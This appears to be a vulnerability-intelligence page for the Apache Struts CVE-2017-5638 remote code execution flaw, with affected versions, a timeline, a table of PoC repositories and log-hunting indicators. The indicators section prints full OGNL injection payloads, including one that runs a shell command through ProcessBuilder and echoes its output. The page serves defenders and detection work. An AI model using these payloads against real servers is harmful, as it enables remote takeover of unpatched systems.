Apache Software Foundation Apache Struts
Apache Struts Remote Code Execution Vulnerability
The Jakarta Multipart parser in Apache Struts 2 2.3.x before 2.3.32 and 2.5.x before 2.5.10.1 has incorrect exception handling and error-message generation during file-upload attempts, which allows remote attackers to execute arbitrary commands via a crafted Content-Type, Content-Disposition, or Content-Length HTTP header, as exploited in the wild in March 2017 with a Content-Type header containing a #cmd= string.
Affected versions and mitigation
From the CVE record, GitHub Security Advisories and the vendor's references.Affected
- >= 2.3.0, < 2.3.32
Fixed in 2.3.32
from GitHub Security Advisory GHSA-j77q-2qqg-6989
- >= 2.5.0, < 2.5.10.1
Fixed in 2.5.10.1
from GitHub Security Advisory GHSA-j77q-2qqg-6989
Mitigation
Upgrade org.apache.struts:struts2-core to 2.3.32 or later.
Upgrade org.apache.struts:struts2-core to 2.5.10.1 or later.
Timeline
Days relative to CVE publicationFirst public PoC 4.1 days before publication; added to CISA KEV 4.6 years after publication. First PoC: Apache Struts 2.3.5 < 2.3.31 / 2.5 < 2.5.10 - Remote Code Execution (Exploit-DB, 7 Mar 2017).
PoC repositories
Found on GitHub.95 PoCs · 24 pending · 12 informational · 2 not a PoC · 8 suspicious or fake
PoCs 95
| Repository | Created | Stars | Assessment |
|---|---|---|---|
| bongbongco/cve-2017-5638 | 8 Mar 2017 −2.9 d | 0 | PoC |
| jas502n/S2-045-EXP-POC-TOOLS | 9 Mar 2017 −1.3 d | 25 | PoC older repo: PoC date unknown, not used for the first PoC |
| btamburi/strutszeiro | 10 Mar 2017 −21 h | 0 | PoC older repo: PoC date unknown, not used for the first PoC
Flags · score 25
Below the suspicion threshold (50); does not change the assessment. |
| paralelo14/CVE_2017_5638 | 10 Mar 2017 −11 h | 1 | PoC |
| xsscx/cve-2017-5638 | 10 Mar 2017 −9 h | 22 | PoC |
| immunio/apache-struts2-CVE-2017-5638 | 10 Mar 2017 −5 h | 34 | PoC |
| aljazceru/CVE-2017-5638-Apache-Struts2 | 11 Mar 2017 +7 h | 2 | PoC |
| sjitech/test_struts2_vulnerability_CVE-2017-5638 | 11 Mar 2017 +8 h | 0 | PoC |
| jrrombaldo/CVE-2017-5638 | 11 Mar 2017 +9 h | 0 | PoC |
| random-robbie/CVE-2017-5638 | 11 Mar 2017 +9 h | 0 | PoC |
| mazen160/struts-pwn | 12 Mar 2017 +24 h | 446 | PoC |
| lolwaleet/ExpStruts | 12 Mar 2017 +1.5 d | 2 | PoC via PoC Index |
| oktavianto/CVE-2017-5638-Apache-Struts2 | 13 Mar 2017 +2.4 d | 1 | PoC |
| samuelproject/ApacheStruts2 | 13 Mar 2017 +2.8 d | 0 | PoC |
| jrrdev/cve-2017-5638 | 15 Mar 2017 +3.9 d | 14 | PoC |
| falcon-lnhg/StrutsShell | 17 Mar 2017 +6.7 d | 3 | PoC |
| jas502n/st2-046-poc | 21 Mar 2017 +10 d | 21 | PoC via PoC Index |
| wangeradd1/MyPyExploit | 21 Mar 2017 +11 d | 4 | PoC |
| mcassano/cve-2017-5638 | 26 Mar 2017 +15 d | 0 | PoC |
| tahmed11/strutsy | 9 Apr 2017 +29 d | 10 | PoC |
| payatu/CVE-2017-5638 | 5 May 2017 +55 d | 8 | PoC |
| SpiderMate/Stutsfi | 28 May 2017 +78 d | 0 | PoC |
| jpacora/Struts2Shell | 28 May 2017 +78 d | 1 | PoC via PoC Index |
| smancke/CVE-2017-5638 | 7 Jun 2017 +89 d | 0 | PoC |
| riyazwalikar/struts-rce-cve-2017-5638 | 8 Jun 2017 +89 d | 1 | PoC |
| sUbc0ol/Apache-Struts2-RCE-Exploit-v2-CVE-2017-5638 | 30 Jun 2017 +111 d | 13 | PoC |
| R4v3nBl4ck/Apache-Struts-2-CVE-2017-5638-Exploit- | 24 Jul 2017 +135 d | 3 | PoC
Flags · score 30
Below the suspicion threshold (50); does not change the assessment. |
| Xhendos/CVE-2017-5638 | 12 Aug 2017 +155 d | 0 | PoC |
| mike-williams/Struts2Vuln | 13 Sep 2017 +186 d | 1 | PoC |
| c002/Apache-Struts | 19 Oct 2017 +222 d | 0 | PoC |
| cafnet/apache-struts-v2-CVE-2017-5638 | 28 Jan 2018 +323 d | 0 | PoC |
| 0x00-0x00/CVE-2017-5638 | 15 Feb 2018 +342 d | 6 | PoC |
| m3ssap0/struts2_cve-2017-5638 | 28 Feb 2018 +355 d | 1 | PoC |
| Greynad/struts2-jakarta-inject | 14 Mar 2018 +1.0 y | 2 | PoC |
| win3zz/CVE-2017-5638 | 13 May 2018 +1.2 y | 16 | PoC |
| tsheth/JavaStruts-App-Terraform | 23 Jun 2018 +1.3 y | 0 | PoC via PoC Index |
| Iletee/struts2-rce | 26 Jun 2018 +1.3 y | 11 | PoC |
| un4ckn0wl3z/CVE-2017-5638 | 22 Nov 2018 +1.7 y | 1 | PoC |
| colorblindpentester/CVE-2017-5638 | 22 Mar 2019 +2.0 y | 0 | PoC |
| injcristianrojas/cve-2017-5638 | 15 Aug 2019 +2.4 y | 0 | PoC |
| tomgranados/struts-rce | 28 Nov 2019 +2.7 y | 0 | PoC |
| c1apps/c1-apache-struts2 | 6 May 2020 +3.2 y | 0 | PoC
Flags · score 30
Below the suspicion threshold (50); does not change the assessment. |
| izapps/c1-apache-struts2 | 6 May 2020 +3.2 y | 0 | PoC
Flags · score 30
Below the suspicion threshold (50); does not change the assessment. |
| octodemo/Moose-Dependabot-Twitch | 24 Aug 2020 +3.5 y | 3 | PoC |
| ludy-dev/XworkStruts-RCE | 31 Aug 2020 +3.5 y | 1 | PoC
Flags · score 30
Below the suspicion threshold (50); does not change the assessment. |
| sotudeko/struts2-rce | 24 Sep 2020 +3.5 y | 0 | PoC |
| sonatype-workshops/struts2-rce | 19 Oct 2020 +3.6 y | 0 | PoC
Flags · score 30
Below the suspicion threshold (50); does not change the assessment. |
| 0pensrcerer/struts2rce | 22 Oct 2020 +3.6 y | 0 | PoC |
| TheTechSurgeon/struts2rce | 22 Oct 2020 +3.6 y | 0 | PoC |
| cx-benjamin-simpson/struts2rce | 22 Oct 2020 +3.6 y | 0 | PoC |
| samqbush/struts2-showcase | 13 Nov 2020 +3.7 y | 1 | PoC
Flags · score 30
Below the suspicion threshold (50); does not change the assessment. |
| jongmartinez/CVE-2017-5638 | 6 Dec 2020 +3.7 y | 1 | PoC |
| jorgevillaescusa/c1-apache-struts2 | 16 Mar 2021 +4.0 y | 0 | PoC
Flags · score 30
Below the suspicion threshold (50); does not change the assessment. |
| Badbird3/CVE-2017-5638 | 24 Jun 2021 +4.3 y | 0 | PoC |
| 0pensrcerer/struts2-rce-public | 20 Sep 2021 +4.5 y | 0 | PoC |
| TheTechSurgeon/struts2-rce-public | 20 Sep 2021 +4.5 y | 0 | PoC |
| cx-benjamin-simpson/struts2-rce-public | 20 Sep 2021 +4.5 y | 0 | PoC |
| f5oto/hackable | 12 Nov 2021 +4.7 y | 0 | PoC |
| secretmike/demo-app | 22 Nov 2021 +4.7 y | 1 | PoC |
| seeewhy/sonatype-nexus-community | 2 Dec 2021 +4.7 y | 0 | PoC |
| abaer123/BaerBox-Struts2-RCE | 21 Jan 2022 +4.9 y | 0 | PoC |
| ajhaigh/struts2-rce | 26 Jan 2022 +4.9 y | 0 | PoC |
| readloud/CVE-2017-5638 | 28 Feb 2022 +5.0 y | 0 | PoC |
| eannaratone/struts2-rce | 16 May 2022 +5.2 y | 0 | PoC
Flags · score 30
Below the suspicion threshold (50); does not change the assessment. |
| java-benchmark/struts2-showcase | 29 Sep 2022 +5.6 y | 0 | PoC |
| JShortSona/Jenkins-Struts2 | 6 Oct 2022 +5.6 y | 0 | PoC |
| acpcreation/Github-SCA | 22 Nov 2022 +5.7 y | 0 | PoC |
| mritunjay-k/CVE-2017-5638 | 2 Mar 2023 +6.0 y | 0 | PoC |
| zacharie410/Exploiting-Web-Apps | 2 Apr 2023 +6.1 y | 3 | PoC via PoC Index |
| FredBrave/CVE-2017-5638-ApacheStruts2.3.5 | 10 May 2023 +6.2 y | 0 | PoC |
| Jodagh/struts | 6 Dec 2023 +6.7 y | 0 | PoC
Flags · score 30
Below the suspicion threshold (50); does not change the assessment. |
| maurycupitt/struts2-rce-github-mc | 7 Mar 2024 +7.0 y | 0 | PoC |
| delanAtMergebase/defender-demo | 27 Mar 2024 +7.0 y | 0 | PoC |
| xeroxis-xs/Computer-Security-Apache-Struts-Vulnerability | 21 Apr 2024 +7.1 y | 0 | PoC via PoC Index |
| Nithylesh/web-application-firewall- | 11 Jul 2024 +7.3 y | 3 | PoC |
| kloutkake/CVE-2017-5638-PoC | 4 Sep 2024 +7.5 y | 2 | PoC |
| praveenmv-git/dependabotdemo | 20 Nov 2024 +7.7 y | 0 | PoC |
| Xernary/CVE-2017-5638-POC | 8 Dec 2024 +7.7 y | 1 | PoC |
| sonatype/sonatype-field-workshop | 16 Dec 2024 +7.8 y | 0 | PoC |
| toothbrushsoapflannelbiscuits/cve-2017-5638 | 2 May 2025 +8.1 y | 0 | PoC via PoC Index |
| ss9214/cs564capstone | 5 May 2025 +8.2 y | 0 | PoC |
| code-sharx/struts2-rce | 27 May 2025 +8.2 y | 0 | PoC
Flags · score 30
Below the suspicion threshold (50); does not change the assessment. |
| haxerr9/CVE-2017-5638 | 7 Jun 2025 +8.2 y | 1 | PoC |
| QHxDr-dz/CVE-2017-5638 | 27 Jul 2025 +8.4 y | 0 | PoC |
| joidiego/Detection-struts-cve-2017-5638-detector | 30 Jul 2025 +8.4 y | 0 | PoC |
| chanamoallim/Apache-Struts-Exploit-with-Metasploit | 1 Aug 2025 +8.4 y | 0 | PoC |
| PranjalBugged-Out/Equifax-Data-Breach-Educational-Video | 8 Aug 2025 +8.4 y | 0 | PoC |
| iampetru/PoC-CVE-2017-5638 | 25 Aug 2025 +8.5 y | 3 | PoC |
| norsemen-local/lambdalabs | 7 Sep 2025 +8.5 y | 2 | PoC via PoC Index |
| haydena23/NSESearch | 15 Sep 2025 +8.5 y | 6 | PoC via PoC Index |
| ACharaf06/CVE-2017-5638-Attack-and-Defense | 15 Dec 2025 +8.8 y | 1 | PoC |
| soufiane-benchahyd/vulhub-struts2 | 20 Feb 2026 +8.9 y | 0 | PoC |
| AIPEACS/SC3010-Computer-Security | 5 Apr 2026 +9.1 y | 0 | PoC
Flags · score 30
Below the suspicion threshold (50); does not change the assessment. |
| Kouf320/docker-lab-cve-2017-5638-cve-2021-41773 | 11 Apr 2026 +9.1 y | 2 | PoC |
| Dungsocool/CVE-2017-5638 | 26 May 2026 +9.2 y | 0 | PoC via PoC Index |
Pending 24
| Repository | Created | Stars | Assessment |
|---|---|---|---|
| PolarisLab/S2-045 | 7 Mar 2017 −3.9 d | 23 | Pending · mkdir /quarantine/PolarisLab__S2-045-cb1419e0ae28: permission denied
Flags · score 15
Below the suspicion threshold (50); does not change the assessment. |
| Flyteas/Struts2-045-Exp | 7 Mar 2017 −3.7 d | 61 | Pending · mkdir /quarantine/Flyteas__Struts2-045-Exp-28f39836dad4: permission denied |
| Masahiro-Yamada/OgnlContentTypeRejectorValve | 11 Mar 2017 +1 h | 1 | Pending · mkdir /quarantine/Masahiro-Yamada__OgnlContentTypeRejectorValve-60b8ac278827: permission denied |
| ret2jazzy/Struts-Apache-ExploitPack | 12 Mar 2017 +1.2 d | 16 | Pending · mkdir /quarantine/ret2jazzy__Struts-Apache-ExploitPack-81ad8cf07579: permission denied |
| opt9/Strutshock | 16 Mar 2017 +5 d | 2 | Pending · mkdir /quarantine/opt9__Strutshock-422db3737b5d: permission denied |
| gsfish/S2-Reaper | 23 Mar 2017 +12 d | 0 | Pending · mkdir /quarantine/gsfish__S2-Reaper-f78607d54e51: permission denied |
| opt9/Strutscli | 28 Mar 2017 +17 d | 2 | Pending · mkdir /quarantine/opt9__Strutscli-12a2df01ce20: permission denied |
| Aasron/Struts2-045-Exp | 27 May 2017 +77 d | 0 | Pending · mkdir /quarantine/Aasron__Struts2-045-Exp-d542f520bf43: permission denied |
| sUbc0ol/Apache-Struts-CVE-2017-5638-RCE-Mass-Scanner | 30 Jun 2017 +111 d | 0 | Pending · mkdir /quarantine/sUbc0ol__Apache-Struts-CVE-2017-5638-RCE-Mass-Scanner-1a61feaaa610: permission denied |
| invisiblethreat/strutser | 25 Sep 2017 +198 d | 0 | Pending · mkdir /quarantine/invisiblethreat__strutser-1a42a069a8f6: permission denied |
| pr0x1ma-byte/cybersecurity-struts2 | 18 Jan 2018 +314 d | 1 | Pending · repository exceeds size limit via PoC Index |
| sighup1/cybersecurity-struts2 | 18 Jan 2018 +314 d | 1 | Pending · repository exceeds size limit via PoC Index |
| ggolawski/struts-rce | 20 Mar 2018 +1.0 y | 1 | Pending · mkdir /quarantine/ggolawski__struts-rce-6cc60e1b8e76: permission denied |
| andypitcher/check_struts | 4 Sep 2018 +1.5 y | 2 | Pending · mkdir /quarantine/andypitcher__check_struts-64a274361d52: permission denied |
| sealmindset/struts2rce | 28 Sep 2022 +5.6 y | 0 | Pending · repository exceeds size limit via PoC Index |
| sn-ravance/struts2-rce | 30 Sep 2022 +5.6 y | 0 | Pending · repository exceeds size limit via PoC Index |
| mfdev-solution/Exploit-CVE-2017-5638 | 21 Dec 2022 +5.8 y | 0 | Pending · repository exceeds size limit via PoC Index |
| NAIRBS/SC3010-Grp-33 | 27 Mar 2025 +8.0 y | 0 | Pending · repository exceeds size limit via PoC Index |
| Majaktech/apache-struts-cve-2017-5638-project | 18 May 2026 +9.2 y | 0 | Pending · mkdir /quarantine/Majaktech__apache-struts-cve-2017-5638-project-68b37c3594e5: permission denied |
| 0xConstant/CVE-2017-5638 | unknown | 0 | Pending · repository unavailable (HTTP 404) |
| 0xkasra/CVE-2017-5638 | unknown | 0 | Pending · repository unavailable (HTTP 404) |
| AndreasKl/CVE-2017-5638 | unknown | 0 | Pending · repository unavailable (HTTP 404) |
| bhagdave/CVE-2017-5638 | unknown | 0 | Pending · repository unavailable (HTTP 404) |
| lizhi16/CVE-2017-5638 | unknown | 0 | Pending · repository unavailable (HTTP 404) |
Informational 12
| Repository | Created | Found by us | Stars | Assessment |
|---|---|---|---|---|
| initconf/CVE-2017-5638_struts | 11 Mar 2017 +12 h | backfilled | 8 | Informational · write-up |
| homjxi0e/CVE-2017-5638 | 8 Jun 2017 +90 d | backfilled | 0 | Informational · write-up |
| eeehit/CVE-2017-5638 | 13 Jun 2017 +94 d | backfilled | 0 | Informational · write-up |
| donaldashdown/Common-Vulnerability-and-Exploit | 30 Oct 2017 +233 d | backfilled | 0 | Informational · write-up |
| amitnandi04/Common-Vulnerability-Exposure-CVE- | 14 Oct 2020 +3.6 y | backfilled | 0 | Informational · list |
| Tankirat/CVE-2017-5638 | 28 Mar 2022 +5.0 y | backfilled | 0 | Informational · write-up |
| MuhammadAbdullah192/CVE-2017-5638-Remote-Code-Execution-Apache-Struts2-EXPLOITATION | 6 Sep 2025 +8.5 y | backfilled | 0 | Informational · write-up |
| kaylertee/Computer-Security-Equifax-2017 | 11 Sep 2025 +8.5 y | backfilled | 0 | Informational · list |
| xieyanran/Metasploit-Agent | 20 Jul 2026 +9.4 y | backfilled | 0 | Informational · list |
| GU-007/struts2-tool | 3 Sep 2026 +9.5 y | backfilled | 1 | Informational · detection |
| s1kh/Vulnerability-Analysis-and-Mitigation | 17 Oct 2026 +9.6 y | 14 Nov 2026 | 0 | Informational · list |
| Ethel087/CVE-2017-5638-Apache-Struts-Analysis | 22 Oct 2026 +9.6 y | 14 Nov 2026 | 0 | Informational · write-up
Flags · score 30
Below the suspicion threshold (50); does not change the assessment. |
Not a PoC 2
| Repository | Created | Stars | Assessment |
|---|---|---|---|
| KarzsGHR/S2-046_S2-045_POC | 21 Mar 2017 +11 d | 1 | Not a PoC · unrelated |
| timothyjxhn/DeliberatelyVulnerableWebApp | 27 Mar 2025 +8.0 y | 0 | Not a PoC · unrelated
Flags · score 15
Below the suspicion threshold (50); does not change the assessment. |
Suspicious or fake 8
| Repository | Created | Stars | Assessment |
|---|---|---|---|
| leandrocamposcardoso/CVE-2017-5638-Mass-Exploit | 24 Jun 2018 +1.3 y | 0 | Fake |
| hook-s3c/CVE-2018-11776-Python-PoC | 24 Aug 2018 +1.5 y | 123 | Fake |
| Kaizhe/attacker | 2 Oct 2019 +2.6 y | 1 | Fake |
| jptr218/struts_hack | 4 Aug 2021 +4.4 y | 1 | Fake |
| jnicastro-Sonatype/struts2-rce-github-flo-public | 25 Aug 2021 +4.5 y | 0 | Fake |
| testpilot031/vulnerability_struts-2.3.31 | 15 Feb 2022 +4.9 y | 0 | Suspicious · score 60
Why suspicious
|
| stnert/cybersec-pwn-pres | 25 Jan 2024 +6.9 y | 0 | Fake |
| Piyush-Tiwatne/struts-patch-gap-auditor | 6 Oct 2026 +9.6 y | 0 | Suspicious · score 75
Why suspicious
|
Only PoCs count toward the first-PoC date and the characteristics below. Suspicious repositories (score ≥ 50) never count. "Backfilled" means we found the repository more than 30 days after it was created. Do not run PoC code from unknown sources.
Other public exploits
Exploit-DB, Metasploit and nuclei count as public PoCs. Exploit-tagged references from the CVE record and NVD are links only. None of these are analysed by us.| Source | Title | Published | Found by us |
|---|---|---|---|
| CVE record (tagged exploit) | 41570 | unknown | 14 Nov 2026 |
| CVE record (tagged exploit) | 41614 | unknown | 14 Nov 2026 |
| Exploit-DB | Apache Struts 2.3.5 < 2.3.31 / 2.5 < 2.5.10 - Remote Code Execution | 7 Mar 2017 | 14 Nov 2026 |
| Exploit-DB | Apache Struts 2.3.5 < 2.3.31 / 2.5 < 2.5.10 - 'Jakarta' Multipart Parser OGNL Injection (Metasploit) | 15 Mar 2017 | 14 Nov 2026 |
| Metasploit | Metasploit exploit: Apache Struts Jakarta Multipart Parser OGNL Injection (exploit/multi/http/struts2_content_type_ognl) | 9 Mar 2017 | 14 Nov 2026 |
| nuclei template | nuclei template: Apache Struts 2 - Remote Command Execution | 27 Apr 2023 | 14 Nov 2026 |
| PoC Index | https://packetstormsecurity.com/files/141494/S2-45-poc.py.txt | unknown | 14 Nov 2026 |
PoC characteristics
What to hunt for in your logs · from 101 PoC reposGET /dev/null
- Ports
- 5000, 8080, 9080
- Seen in
- 18 repos: 0pensrcerer/struts2rce, JShortSona/Jenkins-Struts2, Jodagh/struts, TheTechSurgeon/struts2rce, abaer123/BaerBox-Struts2-RCE, ajhaigh/struts2-rce, cx-benjamin-simpson/struts2rce, eannaratone/struts2-rce, f5oto/hackable, maurycupitt/struts2-rce-github-mc, octodemo/Moose-Dependabot-Twitch, praveenmv-git/dependabotdemo, secretmike/demo-app, seeewhy/sonatype-nexus-community, sonatype-workshops/struts2-rce, sonatype/sonatype-field-workshop, sotudeko/struts2-rce, tomgranados/struts-rce
- Evidence
- 0pensrcerer/struts2rce/mvnw:240 JShortSona/Jenkins-Struts2/mvnw:240 Jodagh/struts/mvnw:240 TheTechSurgeon/struts2rce/mvnw:240 abaer123/BaerBox-Struts2-RCE/mvnw:240 ajhaigh/struts2-rce/mvnw:240
GET /showcase.action
- Content-Type
%{(#_='multipart/form-data').- Seen in
- 3 repos: c1apps/c1-apache-struts2, izapps/c1-apache-struts2, jorgevillaescusa/c1-apache-struts2
- Evidence
- c1apps/c1-apache-struts2/exploitS2-045-cmd.py:34 c1apps/c1-apache-struts2/exploitS2-045-header.py:19 izapps/c1-apache-struts2/exploitS2-045-cmd.py:34 izapps/c1-apache-struts2/exploitS2-045-header.py:19 jorgevillaescusa/c1-apache-struts2/exploitS2-045-cmd.py:34 jorgevillaescusa/c1-apache-struts2/exploitS2-045-header.py:19
GET /struts2-showcase/showcase.action
- Content-Type
%{(#_='multipart/form-data').- Ports
- 8360
- Seen in
- 3 repos: delanAtMergebase/defender-demo, java-benchmark/struts2-showcase, samqbush/struts2-showcase
- Evidence
- delanAtMergebase/defender-demo/Exploits-CVE-2017-5638/exploit.py:17 delanAtMergebase/defender-demo/Exploits-CVE-2017-5638/exploit2.py:17 delanAtMergebase/defender-demo/Exploits-CVE-2017-5638/exploit3.py:32 delanAtMergebase/defender-demo/Exploits-CVE-2017-5638/exploit4.py:15 java-benchmark/struts2-showcase/Exploits-CVE-2017-5638/exploit.py:17 java-benchmark/struts2-showcase/Exploits-CVE-2017-5638/exploit2.py:17
POST /integration/saveGangster.action
- Key headers
Referer: http://{var}/integration/editGangster- Body markers
name=%{age=__checkbox_bustedBefore=truedescription=inapplication/x-www-form-urlencoded- Seen in
- 3 repos: c1apps/c1-apache-struts2, izapps/c1-apache-struts2, jorgevillaescusa/c1-apache-struts2
- Evidence
- c1apps/c1-apache-struts2/exploit_S2-048.py:37 izapps/c1-apache-struts2/exploit_S2-048.py:37 jorgevillaescusa/c1-apache-struts2/exploit_S2-048.py:37
GET /
- Key headers
$content-Type: %{(#_=\multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='dir').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{var}:{var})).(#p=new$user-Agent: Mozilla/5.0- Seen in
- 2 repos: readloud/CVE-2017-5638, xsscx/cve-2017-5638
- Evidence
- readloud/CVE-2017-5638/curl-poc-for-cve-2017-5638.txt:1 xsscx/cve-2017-5638/curl-poc-for-cve-2017-5638.txt:1
GET /struts2-showcase-2.3.12/showcase.action
- Content-Type
%{(#_='multipart/form-data').- Ports
- 8080
- Seen in
- 2 repos: immunio/apache-struts2-CVE-2017-5638, riyazwalikar/struts-rce-cve-2017-5638
- Evidence
- immunio/apache-struts2-CVE-2017-5638/exploit.py:16 immunio/apache-struts2-CVE-2017-5638/exploit2.py:16 immunio/apache-struts2-CVE-2017-5638/exploit3.py:31 immunio/apache-struts2-CVE-2017-5638/exploit4.py:15 riyazwalikar/struts-rce-cve-2017-5638/pseudoshell.py:12 riyazwalikar/struts-rce-cve-2017-5638/pseudoshell.py:24
POST /
- Key headers
Expect:- Body markers
@------------------------------735323031399963166993862150 Content-Disposition: form-data; name="foo"; filename="%{(#nike=in$content_type- Ports
- 8080
- Seen in
- 1 repo: jas502n/st2-046-poc
- Evidence
- jas502n/st2-046-poc/exploit-cd.sh:12 jas502n/st2-046-poc/reqnull.txt:1
POST /system/file-save
- Body markers
------WebKitFormBoundaryabc123 Content-Disposition: form-data; name="myFile"; filename="hello.txt" Content-Type: text/plinmultipart/form-data; boundary=----WebKitFormBoundaryabc123- Ports
- 8080
- PoC User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64)- Seen in
- 1 repo: AIPEACS/SC3010-Computer-Security
- Evidence
- AIPEACS/SC3010-Computer-Security/_note/OGNL-injection-introduction.md:113 AIPEACS/SC3010-Computer-Security/_note/OGNL-injection-introduction.md:149
POST /upload
- Body markers
file=@test.txtupload=@/dev/null------WebKitFormBoundary Content-Disposition: form-data; name="upload"; filename="test.txt" Content-Type: text/plainname="upload"upload=@/tmp/test.txttest=datainmultipart/form-data- Ports
- 8080, 8081
- Seen in
- 1 repo: ACharaf06/CVE-2017-5638-Attack-and-Defense
- Evidence
- ACharaf06/CVE-2017-5638-Attack-and-Defense/EXPLOITATION_GUIDE.md:198 ACharaf06/CVE-2017-5638-Attack-and-Defense/EXPLOITATION_GUIDE.md:209 ACharaf06/CVE-2017-5638-Attack-and-Defense/EXPLOITATION_GUIDE.md:61 ACharaf06/CVE-2017-5638-Attack-and-Defense/exploit/demo_exploit.sh:104 ACharaf06/CVE-2017-5638-Attack-and-Defense/exploit/demo_exploit.sh:137 ACharaf06/CVE-2017-5638-Attack-and-Defense/exploit/demo_exploit.sh:167
POST /vulnerable-app/action
- Content-Type
%{malicious_ognl_expression}- Ports
- 8080, 8081
- Seen in
- 1 repo: ACharaf06/CVE-2017-5638-Attack-and-Defense
- Evidence
- ACharaf06/CVE-2017-5638-Attack-and-Defense/TECHNICAL_DETAILS.md:37
GET /api/disputes
GET /application/nonexistent
- Ports
- 8080, 8081
- Seen in
- 1 repo: ACharaf06/CVE-2017-5638-Attack-and-Defense
- Evidence
- ACharaf06/CVE-2017-5638-Attack-and-Defense/EXPLOITATION_GUIDE.md:176
GET /basic-struts/index.action
- Content-Type
.multipart/form-data~${- Ports
- 8080
- Seen in
- 1 repo: injcristianrojas/cve-2017-5638
- Evidence
- injcristianrojas/cve-2017-5638/exploit1.py:17 injcristianrojas/cve-2017-5638/exploit2.py:31
GET /search
- Query
q=start=- PoC User-Agent
Mozilla/11.0- Seen in
- 1 repo: lolwaleet/ExpStruts
- Evidence
- lolwaleet/ExpStruts/makman.py:32
GET /struts-lab/health
- Ports
- 8080, 8081
- Seen in
- 1 repo: ACharaf06/CVE-2017-5638-Attack-and-Defense
- Evidence
- ACharaf06/CVE-2017-5638-Attack-and-Defense/README.md:88 ACharaf06/CVE-2017-5638-Attack-and-Defense/README.md:89 ACharaf06/CVE-2017-5638-Attack-and-Defense/TECHNICAL_DETAILS.md:541 ACharaf06/CVE-2017-5638-Attack-and-Defense/TEST_COMMANDS.md:23 ACharaf06/CVE-2017-5638-Attack-and-Defense/TEST_COMMANDS.md:53 ACharaf06/CVE-2017-5638-Attack-and-Defense/TEST_COMMANDS.md:182
GET /struts2-blank/example/HelloWorld.action
- Ports
- 8080
- Seen in
- 1 repo: bongbongco/cve-2017-5638
- Evidence
- bongbongco/cve-2017-5638/poc.py:14
GET /struts2-showcase/home
- Query
name=tester- Content-Type
%{(#_='multipart/form-data').- Ports
- 8360
- Seen in
- 1 repo: java-benchmark/struts2-showcase
- Evidence
- java-benchmark/struts2-showcase/Exploits-CVE-2017-5638/exploit3.py:32
GET /tainted7/touch%20HELLO
- Ports
- 5000
- Seen in
- 1 repo: praveenmv-git/dependabotdemo
- Evidence
- praveenmv-git/dependabotdemo/taineted.py:5
GET /upload-form
- Ports
- 8080, 8081
- Seen in
- 1 repo: ACharaf06/CVE-2017-5638-Attack-and-Defense
- Evidence
- ACharaf06/CVE-2017-5638-Attack-and-Defense/simulator/simulate.sh:123
HEAD /application/
- Ports
- 8080, 8081
- Seen in
- 1 repo: ACharaf06/CVE-2017-5638-Attack-and-Defense
- Evidence
- ACharaf06/CVE-2017-5638-Attack-and-Defense/EXPLOITATION_GUIDE.md:173
POST /api/submit-dispute
- Content-Type
%{(#cmd='$cmd')}- Ports
- 5000
- PoC User-Agent
Mozilla/5.0 (Kali Linux; X11)- Seen in
- 1 repo: PranjalBugged-Out/Equifax-Data-Breach-Educational-Video
- Evidence
- PranjalBugged-Out/Equifax-Data-Breach-Educational-Video/exploit.sh:11 PranjalBugged-Out/Equifax-Data-Breach-Educational-Video/exploit/linux_exploit.py:141
POST /doUpload.action
- Body markers
foo=barin%{(#_="multipart/form-data").(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context["com.opensymphony.xwork2.ActionContext.container"]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd="id").(#iswin=(@java.lang.System@getProperty("os.name").toLowerCase().contains("win"))).(#cmds=(#iswin?{"cmd.exe","/c",#cmd}:{"/bin/bash","-c",#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))).(#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].getWriter().println(#ros)).(#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].getWriter().flush()).(#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].getWriter().close())}- Ports
- 8001
- Seen in
- 1 repo: Dungsocool/CVE-2017-5638
- Evidence
- Dungsocool/CVE-2017-5638/README.md:152
POST /editor/filemanager/upload/php/upload.php
- Query
Type=Media- Body markers
name="NewFile"inmultipart/form-data- PoC User-Agent
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.90 Safari/537.36- Seen in
- 1 repo: wangeradd1/MyPyExploit
- Evidence
- wangeradd1/MyPyExploit/fckeditor.py:32 wangeradd1/MyPyExploit/fckeditor.py:52
POST /shapes/1
- Body markers
@payload.txtinapplication/xml- Ports
- 8080
- Seen in
- 1 repo: mike-williams/Struts2Vuln
- Evidence
- mike-williams/Struts2Vuln/README.md:36
POST /struts-lab/upload
- Body markers
file=@README.mdupload=@test.txtupload=@/tmp/test.txtupload=@/dev/nullinmultipart/form-data- Ports
- 8080, 8081
- Seen in
- 1 repo: ACharaf06/CVE-2017-5638-Attack-and-Defense
- Evidence
- ACharaf06/CVE-2017-5638-Attack-and-Defense/README.md:104 ACharaf06/CVE-2017-5638-Attack-and-Defense/README.md:107 ACharaf06/CVE-2017-5638-Attack-and-Defense/TECHNICAL_DETAILS.md:544 ACharaf06/CVE-2017-5638-Attack-and-Defense/TEST_COMMANDS.md:32 ACharaf06/CVE-2017-5638-Attack-and-Defense/TEST_COMMANDS.md:38 ACharaf06/CVE-2017-5638-Attack-and-Defense/TEST_COMMANDS.md:58
POST /upload)
- Body markers
test=datainapplication/x-www-form-urlencoded- Ports
- 8080, 8081
- Seen in
- 1 repo: ACharaf06/CVE-2017-5638-Attack-and-Defense
- Evidence
